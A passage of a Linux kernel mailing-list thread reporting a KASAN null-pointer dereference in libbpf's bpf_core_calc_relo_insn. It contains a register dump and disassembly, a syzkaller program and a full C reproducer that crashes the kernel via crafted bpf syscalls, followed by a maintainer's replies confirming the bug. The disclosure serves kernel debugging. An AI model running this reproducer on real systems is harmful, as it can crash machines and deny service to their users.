RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90 tools/lib/bpf/relo_core.c:1300
Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89 f6 e8 96 bd f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <0f> b6 14 02 4c 89 e0 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 2c
RSP: 0018:ffff88810f81f3d0 EFLAGS: 00010246
RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c4ceb
RDX: 0000000000000000 RSI: ffffffff816c4d4a RDI: 0000000000000004
RBP: ffff88810f81f6c0 R08: ffff88810f81f778 R09: ffff88810d7f0000
R10: 0000000000000004 R11: ffff88810d447c80 R12: 0000000000000000
R13: ffff88810a956000 R14: 0000000000000004 R15: ffff88810d7f0000
FS: 00007f8688b53640(0000) GS:ffff88811b180000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000020000d42 CR3: 000000011200a000 CR4: 0000000000750ef0
PKRU: 55555554
----------------
Code disassembly (best guess):
0: 48 8b 85 28 fd ff ff mov -0x2d8(%rbp),%rax
7: 4c 89 ef mov %r13,%rdi
a: 44 8b 70 04 mov 0x4(%rax),%r14d
e: 44 89 f6 mov %r14d,%esi
11: e8 96 bd f8 ff call 0xfff8bdac
16: 48 89 c2 mov %rax,%rdx
19: 49 89 c4 mov %rax,%r12
1c: 48 b8 00 00 00 00 00 movabs $0xdffffc0000000000,%rax
23: fc ff df
26: 48 c1 ea 03 shr $0x3,%rdx
* 2a: 0f b6 14 02 movzbl (%rdx,%rax,1),%edx <-- trapping instruction
2e: 4c 89 e0 mov %r12,%rax
31: 83 e0 07 and $0x7,%eax
34: 83 c0 03 add $0x3,%eax
37: 38 d0 cmp %dl,%al
39: 7c 08 jl 0x43
3b: 84 d2 test %dl,%dl
3d: 0f .byte 0xf
3e: 85 .byte 0x85
3f: 2c .byte 0x2c
Syzkaller reproducer:
# {Threaded:true Repeat:false RepeatTimes:0 Procs:1 Slowdown:1 Sandbox: SandboxArg:0 Leak:false NetInjection:false NetDevices:false NetReset:false Cgroups:false BinfmtMisc:false CloseFDs:false KCSAN:false DevlinkPCI:false NicVF:false USB:false VhciInjection:false Wifi:false IEEE802154:false Sysctl:false Swap:false UseTmpDir:false HandleSegv:false Trace:false LegacyOptions:{Collide:false Fault:false FaultCall:0 FaultNth:0}}
r0 = bpf$BPF_BTF_LOAD(0x12, &(0x7f0000004e40)={&(0x7f0000004c80)={{0xeb9f, 0x1, 0x0, 0x18, 0x0, 0xc, 0xc, 0xa, [@union={0x8, 0x0, 0x0, 0x5, 0x0, 0x6}]}, {0x0, [0x30, 0x0, 0x30, 0x61, 0x1e, 0x2f, 0x30, 0x2e]}}, 0x0, 0x2e, 0x0, 0x1, 0x40}, 0x20)
bpf$PROG_LOAD_XDP(0x5, &(0x7f0000000480)={0x6, 0x27, &(0x7f0000000d40)=@ringbuf={{0x18, 0x0, 0x0, 0x0, 0x8, 0x0, 0x0, 0x0, 0x7}, {}, {}, [@ringbuf_query, @printk={@p, {}, {}, {}, {}, {0x7, 0x0, 0xb, 0x3, 0x0, 0x0, 0xffff}}, @printk={@lld, {}, {}, {}, {}, {0x7, 0x0, 0xb, 0x3, 0x0, 0x0, 0x7}}, @map_idx={0x18, 0x8, 0x5, 0x0, 0x1}, @map_idx_val={0x18, 0x6, 0x6, 0x0, 0x4, 0x0, 0x0, 0x0, 0xfffffffb}], {{}, {}, {0x85, 0x0, 0x0, 0x84}}}, &(0x7f0000000040)='GPL\x00', 0xb, 0xc0, &(0x7f0000000c80)=""/192, 0x41100, 0x38, '\x00', 0x0, 0x25, r0, 0x8, 0x0, 0x0, 0x10, &(0x7f00000002c0)={0x0, 0x0, 0x0, 0x9}, 0x1, 0x0, 0x0, 0x9, &(0x7f0000000380)=[0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff], &(0x7f00000003c0)=[{0x1, 0x4, 0xb, 0x6}, {0x2, 0x2, 0x1}, {0x5, 0x4, 0xe, 0xb}, {0x2, 0x1000003, 0x2, 0x3}, {0x2, 0x5, 0xa, 0x5}, {0x3, 0x1, 0xa, 0x3}, {0x3, 0x3, 0x5, 0x8}, {0x3, 0x1, 0x5, 0x5}, {0x0, 0x2, 0x0, 0x7}], 0x10, 0x10000}, 0x90) (async)
bpf$MAP_UPDATE_ELEM_TAIL_CALL(0x2, &(0x7f0000000440)={{}, &(0x7f00000003c0), 0x0}, 0x20)
C reproducer:
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void loop(void)
{
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
int i, call, thread;
for (call = 0; call < 3; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (call == 1)
break;
event_timedwait(&th->done, 50);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
*(uint64_t*)0x20004e40 = 0x20004c80;
*(uint16_t*)0x20004c80 = 0xeb9f;
*(uint8_t*)0x20004c82 = 1;
*(uint8_t*)0x20004c83 = 0;
*(uint32_t*)0x20004c84 = 0x18;
*(uint32_t*)0x20004c88 = 0;
*(uint32_t*)0x20004c8c = 0xc;
*(uint32_t*)0x20004c90 = 0xc;
*(uint32_t*)0x20004c94 = 0xa;
*(uint32_t*)0x20004c98 = 8;
*(uint16_t*)0x20004c9c = 0;
*(uint8_t*)0x20004c9e = 0;
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 5, 0, 7);
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 0, 7, 1);
*(uint32_t*)0x20004ca0 = 6;
*(uint8_t*)0x20004ca4 = 0;
*(uint8_t*)0x20004ca5 = 0x30;
*(uint8_t*)0x20004ca6 = 0;
*(uint8_t*)0x20004ca7 = 0x30;
*(uint8_t*)0x20004ca8 = 0x61;
*(uint8_t*)0x20004ca9 = 0x1e;
*(uint8_t*)0x20004caa = 0x2f;
*(uint8_t*)0x20004cab = 0x30;
*(uint8_t*)0x20004cac = 0x2e;
*(uint8_t*)0x20004cad = 0;
*(uint64_t*)0x20004e48 = 0;
*(uint32_t*)0x20004e50 = 0x2e;
*(uint32_t*)0x20004e54 = 0;
*(uint32_t*)0x20004e58 = 1;
*(uint32_t*)0x20004e5c = 0x40;
res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x20004e40ul, /*size=*/0x20ul);
if (res != -1)
r[0] = res;
break;
case 1:
*(uint32_t*)0x20000480 = 6;
*(uint32_t*)0x20000484 = 0x27;
*(uint64_t*)0x20000488 = 0x20000d40;
*(uint8_t*)0x20000d40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 4, 4);
*(uint16_t*)0x20000d42 = 0;
*(uint32_t*)0x20000d44 = 8;
*(uint8_t*)0x20000d48 = 0;
*(uint8_t*)0x20000d49 = 0;
*(uint16_t*)0x20000d4a = 0;
*(uint32_t*)0x20000d4c = 7;
*(uint8_t*)0x20000d50 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 4, 4);
*(uint16_t*)0x20000d52 = 0;
*(uint32_t*)0x20000d54 = -1;
*(uint8_t*)0x20000d58 = 0;
*(uint8_t*)0x20000d59 = 0;
*(uint16_t*)0x20000d5a = 0;
*(uint32_t*)0x20000d5c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 0, 4, 4);
*(uint16_t*)0x20000d62 = 0;
*(uint32_t*)0x20000d64 = 0x14;
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 0, 4, 4);
*(uint16_t*)0x20000d6a = 0;
*(uint32_t*)0x20000d6c = 0;
*(uint8_t*)0x20000d70 = 0x85;
*(uint8_t*)0x20000d71 = 0;
*(uint16_t*)0x20000d72 = 0;
*(uint32_t*)0x20000d74 = 0x83;
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 0, 4, 4);
*(uint16_t*)0x20000d7a = 0;
*(uint32_t*)0x20000d7c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 0, 4, 4);
*(uint16_t*)0x20000d82 = 1;
*(uint32_t*)0x20000d84 = 0;
*(uint8_t*)0x20000d88 = 0x95;
*(uint8_t*)0x20000d89 = 0;
*(uint16_t*)0x20000d8a = 0;
*(uint32_t*)0x20000d8c = 0;
*(uint8_t*)0x20000d90 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 4, 4);
*(uint16_t*)0x20000d92 = 0;
*(uint32_t*)0x20000d94 = -1;
*(uint8_t*)0x20000d98 = 0;
*(uint8_t*)0x20000d99 = 0;
*(uint16_t*)0x20000d9a = 0;
*(uint32_t*)0x20000d9c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 0, 4, 4);
*(uint16_t*)0x20000da2 = 0;
*(uint32_t*)0x20000da4 = 0;
*(uint8_t*)0x20000da8 = 0x85;
*(uint8_t*)0x20000da9 = 0;
*(uint16_t*)0x20000daa = 0;
*(uint32_t*)0x20000dac = 0x86;
*(uint8_t*)0x20000db0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 0, 4, 4);
*(uint16_t*)0x20000db2 = 0;
*(uint32_t*)0x20000db4 = 0x25702020;
*(uint8_t*)0x20000db8 = 0;
*(uint8_t*)0x20000db9 = 0;
*(uint16_t*)0x20000dba = 0;
*(uint32_t*)0x20000dbc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 1, 4, 4);
*(uint16_t*)0x20000dc2 = 0xfff8;
*(uint32_t*)0x20000dc4 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 0xa, 4, 4);
*(uint16_t*)0x20000dca = 0;
*(uint32_t*)0x20000dcc = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 0, 4, 4);
*(uint16_t*)0x20000dd2 = 0;
*(uint32_t*)0x20000dd4 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 0, 4, 4);
*(uint16_t*)0x20000dda = 0;
*(uint32_t*)0x20000ddc = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 0, 4, 4);
*(uint16_t*)0x20000de2 = 0;
*(uint32_t*)0x20000de4 = 0xffff;
*(uint8_t*)0x20000de8 = 0x85;
*(uint8_t*)0x20000de9 = 0;
*(uint16_t*)0x20000dea = 0;
*(uint32_t*)0x20000dec = 6;
*(uint8_t*)0x20000df0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 0, 4, 4);
*(uint16_t*)0x20000df2 = 0;
*(uint32_t*)0x20000df4 = 0x256c6c64;
*(uint8_t*)0x20000df8 = 0;
*(uint8_t*)0x20000df9 = 0;
*(uint16_t*)0x20000dfa = 0;
*(uint32_t*)0x20000dfc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 1, 4, 4);
*(uint16_t*)0x20000e02 = 0xfff8;
*(uint32_t*)0x20000e04 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 0xa, 4, 4);
*(uint16_t*)0x20000e0a = 0;
*(uint32_t*)0x20000e0c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 0, 4, 4);
*(uint16_t*)0x20000e12 = 0;
*(uint32_t*)0x20000e14 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 0, 4, 4);
*(uint16_t*)0x20000e1a = 0;
*(uint32_t*)0x20000e1c = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 0, 4, 4);
*(uint16_t*)0x20000e22 = 0;
*(uint32_t*)0x20000e24 = 7;
*(uint8_t*)0x20000e28 = 0x85;
*(uint8_t*)0x20000e29 = 0;
*(uint16_t*)0x20000e2a = 0;
*(uint32_t*)0x20000e2c = 6;
*(uint8_t*)0x20000e30 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 8, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 5, 4, 4);
*(uint16_t*)0x20000e32 = 0;
*(uint32_t*)0x20000e34 = 1;
*(uint8_t*)0x20000e38 = 0;
*(uint8_t*)0x20000e39 = 0;
*(uint16_t*)0x20000e3a = 0;
*(uint32_t*)0x20000e3c = 0;
*(uint8_t*)0x20000e40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 4, 4);
*(uint16_t*)0x20000e42 = 0;
*(uint32_t*)0x20000e44 = 4;
*(uint8_t*)0x20000e48 = 0;
*(uint8_t*)0x20000e49 = 0;
*(uint16_t*)0x20000e4a = 0;
*(uint32_t*)0x20000e4c = 0xfffffffb;
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 9, 4, 4);
*(uint16_t*)0x20000e52 = 0;
*(uint32_t*)0x20000e54 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 0, 4, 4);
*(uint16_t*)0x20000e5a = 0;
*(uint32_t*)0x20000e5c = 0;
*(uint8_t*)0x20000e60 = 0x85;
*(uint8_t*)0x20000e61 = 0;
*(uint16_t*)0x20000e62 = 0;
*(uint32_t*)0x20000e64 = 0x84;
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 4, 4);
*(uint16_t*)0x20000e6a = 0;
*(uint32_t*)0x20000e6c = 0;
*(uint8_t*)0x20000e70 = 0x95;
*(uint8_t*)0x20000e71 = 0;
*(uint16_t*)0x20000e72 = 0;
*(uint32_t*)0x20000e74 = 0;
*(uint64_t*)0x20000490 = 0x20000040;
memcpy((void*)0x20000040, "GPL\000", 4);
*(uint32_t*)0x20000498 = 0xb;
*(uint32_t*)0x2000049c = 0xc0;
*(uint64_t*)0x200004a0 = 0x20000c80;
*(uint32_t*)0x200004a8 = 0x41100;
*(uint32_t*)0x200004ac = 0x38;
memset((void*)0x200004b0, 0, 16);
*(uint32_t*)0x200004c0 = 0;
*(uint32_t*)0x200004c4 = 0x25;
*(uint32_t*)0x200004c8 = r[0];
*(uint32_t*)0x200004cc = 8;
*(uint64_t*)0x200004d0 = 0;
*(uint32_t*)0x200004d8 = 0;
*(uint32_t*)0x200004dc = 0x10;
*(uint64_t*)0x200004e0 = 0x200002c0;
*(uint32_t*)0x200002c0 = 0;
*(uint32_t*)0x200002c4 = 0;
*(uint32_t*)0x200002c8 = 0;
*(uint32_t*)0x200002cc = 9;
*(uint32_t*)0x200004e8 = 1;
*(uint32_t*)0x200004ec = 0;
*(uint32_t*)0x200004f0 = 0;
*(uint32_t*)0x200004f4 = 9;
*(uint64_t*)0x200004f8 = 0x20000380;
*(uint32_t*)0x20000380 = -1;
*(uint32_t*)0x20000384 = -1;
*(uint32_t*)0x20000388 = -1;
*(uint64_t*)0x20000500 = 0x200003c0;
*(uint32_t*)0x200003c0 = 1;
*(uint32_t*)0x200003c4 = 4;
*(uint32_t*)0x200003c8 = 0xb;
*(uint32_t*)0x200003cc = 6;
*(uint32_t*)0x200003d0 = 2;
*(uint32_t*)0x200003d4 = 2;
*(uint32_t*)0x200003d8 = 1;
*(uint32_t*)0x200003dc = 0;
*(uint32_t*)0x200003e0 = 5;
*(uint32_t*)0x200003e4 = 4;
*(uint32_t*)0x200003e8 = 0xe;
*(uint32_t*)0x200003ec = 0xb;
*(uint32_t*)0x200003f0 = 2;
*(uint32_t*)0x200003f4 = 0x1000003;
*(uint32_t*)0x200003f8 = 2;
*(uint32_t*)0x200003fc = 3;
*(uint32_t*)0x20000400 = 2;
*(uint32_t*)0x20000404 = 5;
*(uint32_t*)0x20000408 = 0xa;
*(uint32_t*)0x2000040c = 5;
*(uint32_t*)0x20000410 = 3;
*(uint32_t*)0x20000414 = 1;
*(uint32_t*)0x20000418 = 0xa;
*(uint32_t*)0x2000041c = 3;
*(uint32_t*)0x20000420 = 3;
*(uint32_t*)0x20000424 = 3;
*(uint32_t*)0x20000428 = 5;
*(uint32_t*)0x2000042c = 8;
*(uint32_t*)0x20000430 = 3;
*(uint32_t*)0x20000434 = 1;
*(uint32_t*)0x20000438 = 5;
*(uint32_t*)0x2000043c = 5;
*(uint32_t*)0x20000440 = 0;
*(uint32_t*)0x20000444 = 2;
*(uint32_t*)0x20000448 = 0;
*(uint32_t*)0x2000044c = 7;
*(uint32_t*)0x20000508 = 0x10;
*(uint32_t*)0x2000050c = 0x10000;
syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x20000480ul, /*size=*/0x90ul);
break;
case 2:
*(uint32_t*)0x20000440 = -1;
*(uint64_t*)0x20000448 = 0x200003c0;
*(uint32_t*)0x200003c0 = 0;
*(uint64_t*)0x20000450 = 0;
*(uint64_t*)0x20000458 = 0;
syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x20000440ul, /*size=*/0x20ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
const char* reason;
(void)reason;
loop();
return 0;
}
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: KASAN: null-ptr-deref in bpf_core_calc_relo_insn
2024-08-20 9:21 KASAN: null-ptr-deref in bpf_core_calc_relo_insn Liu RuiTong
@ 2024-08-21 1:33 ` Eduard Zingerman
2024-08-21 11:46 ` Eduard Zingerman
0 siblings, 1 reply; 6+ messages in thread
From: Eduard Zingerman @ 2024-08-21 1:33 UTC (permalink / raw)
To: Liu RuiTong, stable; +Cc: regressions, bpf, linux-kernel
On Tue, 2024-08-20 at 17:21 +0800, Liu RuiTong wrote:
[...]
> bpf_core_calc_relo_insn+311 <bpf_core_calc_relo_insn+311>
> ─────────────────────────────────────────────────────────────────────────────────────────────[
> SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────
> In file: /home/ubuntu/fuzz/linux-6.11-rc4/tools/lib/bpf/relo_core.c:1300
> 1295 char spec_buf[256];
> 1296 int i, j, err;
> 1297
> 1298 local_id = relo->type_id;
> 1299 local_type = btf_type_by_id(local_btf, local_id);
> ► 1300 local_name = btf__name_by_offset(local_btf,
> local_type->name_off);
Hi Liu,
Thank you for the report, I can reproduce the issue.
Will comment later today.
> 1301 if (!local_name)
> 1302 return -EINVAL;
> 1303
> 1304 err = bpf_core_parse_spec(prog_name, local_btf, relo,
> local_spec);
> 1305 if (err) {
> ─────────────────────────────────────────────────────────────────────────────────────────────────[
> STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
> ```
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: KASAN: null-ptr-deref in bpf_core_calc_relo_insn
2024-08-21 1:33 ` Eduard Zingerman
@ 2024-08-21 11:46 ` Eduard Zingerman
2024-08-21 16:04 ` Eduard Zingerman
0 siblings, 1 reply; 6+ messages in thread
From: Eduard Zingerman @ 2024-08-21 11:46 UTC (permalink / raw)
To: Liu RuiTong, stable; +Cc: regressions, bpf, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 2057 bytes --]
On Tue, 2024-08-20 at 18:33 -0700, Eduard Zingerman wrote:
> On Tue, 2024-08-20 at 17:21 +0800, Liu RuiTong wrote:
>
> [...]
>
> > bpf_core_calc_relo_insn+311 <bpf_core_calc_relo_insn+311>
> > ─────────────────────────────────────────────────────────────────────────────────────────────[
> > SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────
> > In file: /home/ubuntu/fuzz/linux-6.11-rc4/tools/lib/bpf/relo_core.c:1300
> > 1295 char spec_buf[256];
> > 1296 int i, j, err;
> > 1297
> > 1298 local_id = relo->type_id;
> > 1299 local_type = btf_type_by_id(local_btf, local_id);
> > ► 1300 local_name = btf__name_by_offset(local_btf,
> > local_type->name_off);
>
> Hi Liu,
>
> Thank you for the report, I can reproduce the issue.
> Will comment later today.
